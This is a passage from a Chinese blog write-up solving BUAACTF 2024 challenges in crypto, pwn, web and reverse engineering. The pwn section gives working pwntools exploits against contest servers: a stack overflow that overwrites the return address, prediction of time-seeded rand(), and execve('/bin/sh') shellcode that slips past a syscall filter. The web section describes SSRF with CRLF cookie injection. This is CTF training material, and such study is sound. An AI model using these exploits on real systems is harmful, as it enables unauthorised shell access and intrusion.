        c = 6798196000904560986019555528591262012506185056076714126829802138436774612507181463210506285882686083363719845616306493414549909306344470651368151021506879127186537541511969033792470273622194417549286413829084395550495863552837520568116112940053957222209856344379241870220941526130985148080366990387859706919360927620876816409221093310052893948775806283799693257248385589294717034834606316067745063953181155720849381195213612358167312308055708045330495261018549601934165987967815109406879073628878654797042263766697468902499610247018855900001123859581963183657997277100579974978277989330245954956734753393623534104949
        e = 0x10001
        q=gift1
        p=gift2
        phi=(p-1)*(q-1)
        d=gmpy2.invert(e,phi)
        m=pow(c,d,p*q)
        return long_to_bytes(m)
    flag2=decode2()
    print(flag2)
    
  • 第三段:已知 pqp2+q2 ,求解二元二次方程组(一元二次方程)即可获得pq

    import gmpy2
    import sympy
    def decode3():
        gift1 = 217007401901342421637296506151045949171647051515361656360072135292366059364436067769143408103369504783373251242804683947773760938142740101634001289490072917390776475397332698003681377231568572510643428429354281410587950292376021666006320140170354728881247787033749134365976928979938237457068852060921548782770
        gift2 = 3735019025611983185932294997728824820381114592105504715010556837192027740195992928029649782443062948686358036627258192673314552413319718373978790712443008
        c = 56653028061961090495904722072862172734608023599711621888180492513742666311852804045556791239022671823520139711494303603376433827942460458786154737101882992952693273860640420619111848114299185861816619049166323399442849118541661716671197644107052460630660693161750412065655618381408450162261297729618456956885
        e = 0x10001
        q=sympy.Symbol("q")
        s=sympy.solve(2*q**2+2*gift2*q+gift2**2-gift1)
        _,q=s[0],s[1]
        p=q+gift2
        # print(p,q)
        phi=(p-1)*(q-1)
        d=gmpy2.invert(e,int(phi))
        m=pow(c,d,int(p*q))
        return long_to_bytes(m)
    flag3=decode3()
    print(flag3)
    
  • 第四段:根据方程a02+eb02=n(1)a12+eb12=n(2),两式相减得e=a02a12b12b02(3),可计算出e。将e的值代入(1)(2),得到(a0b1+a1b0)(a0b1a1b0)(b1+b0)(b1b0)=n=pq(4),有gcd(a0b1+a1b0,n),gcd(a0b1a1b0,n)pq

    def decode4():
        c = 21876217404597648935501708224589946787898844945041090370812784864202179786538644812627866648614522481969801664451765856339625854527100112075712788293361657611497560649095846533404878665836929454702215209600066233565780452698572483295514340924042249009490369593477268825188617350571984685962425793977685976033
        n = 68213208588478797434590492859598739065823280021105118658256543122706784900469481081964111014749980113295583260451091704150528768605932666799412946865058790012894692488259241968015202288744183901848022883964499756643821431612690339225279670319451134943024508330650176312418898073776471627253566187743581793833
        a0 = 8259128803238196105145168509958253369987536854763500176125746426134013180662179728549795800662462190076558053794789304838962250053195422657018957572091186
        a1 = 8259128803238196105145168474324027148454893273833648536836996881435062963908812785389760028008330862192062834681076966317258060159497292746026639842677270
        b0 = 2575418967504712085947402904040636239908962189712404174717075221760668016177010089065939310889632792569300801582754242093
        b1 = 54388006608267379711185614568312546859264790019372706395762423818871188129324130561340418682315102770581787074378512364771
        e=(a0**2-a1**2)//(b1**2-b0**2)
        x=a0*b1+a1*b0
        y=a0*b1-a1*b0
        p=math.gcd(n,x)
        # print(p)
        # print(isPrime(p))
        q=n//p
        if isPrime(q):
            phi=(p-1)*(q-1)
            d=gmpy2.invert(e,phi)
            m=pow(c,d,p*q)
            return long_to_bytes(m)
        
    flag4=decode4()
    print(flag4)
    

最后将4段flag连接得:BUAACTF{Crypto_1s_@_long_journey_In_your_CTF_Lif3_Hold_on_BUAAer}

wilson

首先,由于q216,可直接将 pq​ 暴力分解。

记长整数类型的flag为m,进行RSA加密的明文数据为M,可直接使用RSA解密算法计算出M

根据wilsond定理:当p为素数时,(p1)!1(modp),变换得(p2)!1(modp)

根据题目描述,有Mm(pq1)!(modn),同余式两边同时乘以(pq)(p1+1)···(p2),得到(pq)(p1+1)···(p2)Mm(p2)!m(modn),得到出m,即flag。

from Crypto.Util.number import *
import gmpy2
from sympy import primerange
n = 337226051638592977023926463259476925793630867304265414346886548830093634447790214502414890668498390890292052473794160744365097940300753043747178154909504112381
c = 259194292837406337559946396085564586534082949821654917789096465632659582502267270395307035415896284541371166500370144709943260222384022604389588593075336506440
e = 65537
primes = list(primerange(2, 2**16+1))
for i in primes :
    if n % i == 0:
        q = i
        p = n // i
        break
print("p:",p)
print("q:",q)
d=gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print("m:",m)
f=m
for i in range(p-q,p-1):
    f=f*i%p
print("f:",f)
print(long_to_bytes(f))

计算得到flag:BUAACTF{W1ls0n_1s_imp0rt!}

PWN

nc

IDA分析源文件:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  puts("NO STDOUT ~( ^ V ^ )~");
  close(1);
  close(2);
  system("/bin/sh");
  return 0;
}

close(1)关闭了标准输出,close(2)关闭了标准错误,只剩下标准输入,并且看到程序会返回shell(0是标准输入,1是标准输出,2是标准错误)。

stdout重定向,将文件描述符 1 重定向到文件描述符 0 。直接执行 exec 1>&0 ,也就是把标准输出重定向到标准输入,即重启了标准输出,也就可执行命令并且看得到输出了。

image

ezcal

一道小小的计算题,包含加减乘运算。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  _BYTE v5[3]; // [rsp+5h] [rbp-1Bh] BYREF
  int v6; // [rsp+8h] [rbp-18h]
  char v7; // [rsp+Fh] [rbp-11h]
  unsigned int v8; // [rsp+10h] [rbp-10h]
  unsigned int v9; // [rsp+14h] [rbp-Ch]
  bool v10; // [rsp+1Bh] [rbp-5h]
  int i; // [rsp+1Ch] [rbp-4h]

  qmemcpy(v5, "+-*", sizeof(v5));
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  puts("You must be the master of PWNTOOLS~");
  puts("Let's do some classic but simple calculations~~\n");
  puts("e.g.");
  puts("Q: 30 + 9 = ?");
  puts("A: 39\n");
  v3 = time(0LL);
  srand(v3);
  for ( i = 0; i <= 49; ++i )
  {
    v9 = rand() % 100;
    v8 = rand() % 100;
    v7 = v5[rand() % 3];
    printf("CAL %d:\n", (unsigned int)(i + 1));
    printf("Q: %d %c %d = ?\n", v9, (unsigned int)v7, v8);
    printf("A: ");
    v6 = getnum();
    putchar(10);
    if ( v7 == 43 )
    {
      v10 = v6 == v9 + v8;
    }
    else if ( v7 == 45 )
    {
      v10 = v6 == v9 - v8;
    }
    else
    {
      v10 = v6 == v8 * v9;
    }
    if ( !v10 )
    {
      puts("Oops! You make a mistake ~( Q A Q )~");
      return 0;
    }
  }
  puts("Win~ I will give you the flag~~");
  system("cat flag");
  return 0;
}

利用pwntools进行交互:

import re
from pwn import *
context(arch="amd64",os='linux',log_level="debug")
p=remote("10.212.26.206",31581)
p.recvuntil(b'A: 39\n')
while True:   
    r=p.recvline()
    s=p.recvline()
    print(r,s)
    Q=p.recvline().decode()
    print(Q)
    nums=re.findall(r'\d+',Q)
    ops=re.findall(r'[-+*/]',Q)
    a=int(nums[0])
    b=int(nums[1])
    op=ops[0]
    if op=='+':
        s=a+b
    elif op=='-':
        s=a-b
    elif op=='*':
        s=a*b
    print(a,op,b)
    p.sendlineafter(b'A: ',str(s).encode())
p.interactive()

获取到flag:

image

ezstack

一道栈溢出问题:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[16]; // [rsp+0h] [rbp-10h] BYREF

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  puts("This is a eeeeeeez stack overflow~");
  printf("Give you the backdoor: %p\n", backdoor);
  puts("Something to tell me?");
  gets(v4);
  return 0;
}

image

gets()函数存在栈溢出漏洞,缓冲区数组v4的长度为16字节,rbp占8字节,后门函数地址通过远程获取。通过栈溢出覆盖返回地址为后门函数地址获取/bin/sh

利用pwntools工具进行攻击:

from pwn import *
context(arch="amd64",os='linux',log_level="debug")
p=remote("10.212.26.206",41435)
p.recvuntil(b':')
start=p64(int(p.recvuntil(b'\n').decode(),16))
payload=b'a'*(16+8)+start
print(payload)
p.sendafter(b'Something to tell me?\n',payload)
p.interactive()

ezrand

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // [rsp+4h] [rbp-Ch] BYREF
  int v6; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  v3 = time(0LL);
  srand(v3);
  puts("Can you guess what I'm thinking?");
  for ( i = 0; i <= 99; ++i )
  {
    v6 = rand();
    printf("Your number: ");
    __isoc99_scanf("%u", &v5);
    if ( v6 != v5 )
    {
      puts("No, you can't!");
      return 0;
    }
  }
  system("/bin/sh");
  return 0;
}

需要让100轮循环中都有输入的v5都等于随机产生的v6。让时间做种子,每次使用相同的种子,连续100次产生随机数。

from pwn import *
from ctypes import *
context(arch="amd64",os='linux',log_level="debug")
p=remote("10.212.26.206",45895)
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed=libc.time(0)
libc.srand(seed)
for _ in range(100): 
    num=libc.rand()   
    p.recvuntil(b':')
    p.sendline(str(num))
p.interactive()

ezshellcode

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  setbuf(stderr, 0LL);
  buf = mmap((void *)0xDEAD0000LL, 0x1000uLL, 7, 34, -1, 0LL);
  printf("Input your shellcode: ");
  read(0, buf, 0x1000uLL);
  if ( strstr((const char *)buf, &needle) || strstr((const char *)buf, &byte_201E) )
    puts("NO SYSCALL OR INT80!!!");
  else
    ((void (*)(void))buf)();
  return 0;
}

禁止出现SYSCALL和INT80,即过滤了0x0f05和0xcd80,但判断方法是使用strstr()函数,只读到\x00为止,因此构造的shellcode中只需要满足0x0f05和0xcd80出现在\x00之后即可绕过判断。

从链接# https://xz.aliyun.com/t/13813?time__1311=mqmxnQG%3D0Qi%3DDtKDsD7mG7DyCHXWdg%2BMTD&alichlgref=https%3A%2F%2Fwww.bing.com%2F中寻找了一段满足条件的shellcode:

from pwn import *
p=remote("10.212.26.206",38884)
context.os = 'linux'
context.arch = 'amd64'
shellcode=asm('''
mov rbx, 0x0068732f6e69622f
push rbx
mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,59
syscall
''')
p.sendafter(b'Input your shellcode:',shellcode)
p.interactive()

Web

can you copy me

感觉有点玄学+运气成分(?)

网页在打开之后按右键和F12打开控制台均无效,所以趁网页还未加载出来之前通过F12打开控制台。加载出来后网页检测到控制台开启可能会很快跳转到bilibili,需要在跳转之后不关闭界面再开启一个,多试几次,网页就可以停留在debug状态。这时按照提示中的第一个方法,在Console面板中输入document.body.contentEditable=true代码,第一部分字符就可以完整显示:

image

但是第二部分字符仍然什么没有变化。查看第二部分字符处的html源代码,无字符显示,只知为canvas元素控制。查阅canvas用法,该显示区域为2D图像,因此在js源代码中查找"2d"

image

共存在8处"2d",在5-8处的常量前尝试添加断点,刷新页面,让页面加载到此处。

image

此时将鼠标停留于变量Vx上,可以看到两部分大小为4的数组,数组的每个元素均为长为128的字符串!将8段字符串进行拼接之后用sha256函数计算哈希值,即可得到flag:

拼接后的字符串:
RaTypYkNEouCNNLshAuWuBJytcspElTgWyuVHmCNVVRynJpicklkaUBkrRcxlJBvJFiWYuqvPbdevhBCyIEOxOXaONCzPZzcrRuiIVzVwNRYzhYJCiEkgHMFUWMdVYUYllNXiHCxxaedKAtsSZcjpGPBfxBxAFVDtqtNupYHFqhWXjmlxcNewZWvjattHSkaxMkDmivjXWYEkYUPpTgsKWHwLhnvzhIwywpOVOjttxPQCEBpfqYLlVHXNJtzFAefPOEehtogwjvvLTkFhRciDHCQjEQyQFRhXDJDcnfWbIjKReoUOzfYHMaFfUHYOomGljaiTcurOEyvqEilcwfkUjIIKVgxxFxAvQgGvYzcMLJytBvOZuvajrEVanuGYUGUBemSwcRLOKcsPgJqMfoJHifmDOkOlWmyaHZHwpcLdxulGLijabYotNuFsWBobfyoXAeRxugFQbZBEpzAZXbbySTjKiRNnsDsYxIcjbGjPeNqzyCofwBiOPlrNLKxFLAAyuRTafGYbYKBDRGYHFzANVoXOfowKKPcPaEiYajdCLcJtbdjAwIGMtDvVPWkBDVHbYJRpmyvVfufjgMxTxlRXqCtveAkyalyFznfIPWgZsSuaUgMqHIPXUECwfETKokyhDrWkqmTOKQSLoxbsGDTQydLYqHJnYIUhjBCczHXtPKkMOtJpeLaaqXzciaAzByLthZIDLbhQETabGEchyeABtfirUoZoOhSWIDhLFSxcQShWuLSuUcqxbKRQjBpawAVFJvBCaokrJBCdrYNwdSyVjEfGmldNOSTkAOhCUUtwIGvTnBxqxkdDPxKgeSSfQmNLNutcjrfHqYUBeLxnsUNlHDnwXSxkGejbakVcTisiAqnffDhfxzSnFfcPTfKbAmLmsvFTuzLvLkHsHtJsfLzsDFKzKdxhmacDmIWSJDXGhseosCGIhadVFmjxzLutjPdePkvSmeLVaUraELpWkpyeUWNrMLNLFDqgEkqktohSUHwlNHDGgXlgfERqaPMvigZ
字符串的sha256:6C104D84398BAC4887CA1136CC9E01DA5EA8F8D488BF20C4DF676D0E189EA3D6
flag:
BUAACTF{6C104D84398BAC4887CA1136CC9E01DA5EA8F8D488BF20C4DF676D0E189EA3D6}

image service

F12查看源代码,发现注释部分存在www.zip文件,遂添加网页后缀将其下载。解压得到index.php和secret.php两个文件。

index.php中主要包含图片下载函数downloadImage和POST请求、GET请求处理部分。

downloadImage函数需要传入urlauthor两个参数,url函数为访问的地址,author为作者信息,使用cURL从给定的URL下载图片。然后将下载的图片数据进行Base64编码,最后返回以Base64编码的图片数据,并且以“data:image/png;base64,”开头,表示这是一个Base64编码的PNG格式图片。

当请求为POST类型时,从请求的body中获取JSON数据,并且检查URL是否以 "http://" 或者 "https://" 开头。如果不是的话,返回状态码400和一条错误消息。然后调用downloadImage函数下载图片,并且在页面上展示图片。

当请求为GET类型时,构造了一个JSON字符串 $tmp,里面包含了一个图片URL和作者信息,然后调用downloadImage函数下载图片,并且在页面上展示图片。

secret.php中要求用户的IP地址是本地主机(127.0.0.1),并且名为admin的Cookie的值为true经过base64编码后的字符串(dHJ1ZQ==)。

为获取flag,并使用户的IP地址是本机地址,需要使downloadImage函数中访问的地址为secret.php,此处需要使用ssrf攻击。

故使用POST方式传参,在url参数中传入https://127.0.0.1/secret.php,并在author参数中采取一种类似于sql注入的方式,利用\r\n进行换行,换行后加入Cookie信息:admin=dHJ1ZQ==予secret.php文件进行解析。参数采用JSON格式传入。

在burpsuite中操作,获得响应值:

image

根据index.php文件,data:image/png;base64,字段后的信息采用的是gzip编码。进行gzip解码后获得flag:

image

HTTP

一步一步来即可:

image

leaked secret

加载出网页,只看到一句话:Do you know robots in the website?

于是访问/robots.txt:

image

访问/flag,404。

访问/secret.conf:

image

rewrite ^/(.*)buaa(.*)$ /$1$2 break;是在匹配的URI中进行重写的指令。它使用正则表达式^(.*)buaa(.*)$来匹配URI中包含“buaa”的部分,并将其重写为不包含“buaa”的URI。具体来说,^(.*)buaa(.*)$表示匹配以任意字符开头,然后是“buaa”,然后是任意字符的URI部分。

因此访问/buaaflag,拿到flag。

Reverse

easy2048

使用jadx工具打开.apk文件,查看.com.zzzccc.easy2048部分。

在GameView下发现一段str字符串:

image

继续往下查看看到当游戏通过时获得flag,flag由刚才的str字符串进行加密和编码产生:

image

查看Cipher()函数:

image

由此可以根据加密函数计算出str字符串经处理后得到的字符串,其中Cipher()函数传入的参数为3:

class Cipher:
    def __init__(self, rows):
        self.rows = rows

    def encode(self, string):
        sb_arr = [''] * self.rows

        for i in range(len(string)):
            row_index = i % ((self.rows * 2) - 2)
            if row_index >= self.rows:
                row_index = ((self.rows * 2) - 2) - row_index
            sb_arr[row_index] += string[i]

        return ''.join(sb_arr)


# 测试
if __name__ == "__main__":
    cipher = Cipher(3)
    original_string = "2048_1s_the_f4vorit3_of_someone_1n_Or4nge"
    encoded_string = cipher.encode(original_string)
    print("buaactf{"+encoded_string+'}')

计算得到结果:buaactf{2_tfr_so1re081_h_4oi3o_oen_nO4g4sevtfme_n}

真签到

IDA打开源文件,在Hex View-1界面下alt+T搜索“BUAACTF"得到flag:

image

总结

本人非常非常菜,但本次BUAACTF 2024学到了很多新的东西,也有了很多新的思考,非常感谢赛博安全社团主办活动的各位师傅们!同时觉得各位出题人实在是太太太太太牛了!羡慕各位出题人无比深厚的功底和强大的脑洞!能出出这么有深度广度和思维含量的题目!也领略了各路大神选手的实力和风采!

posted on   CyberFisher  阅读(122)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 使用C#创建一个MCP客户端
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列1:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示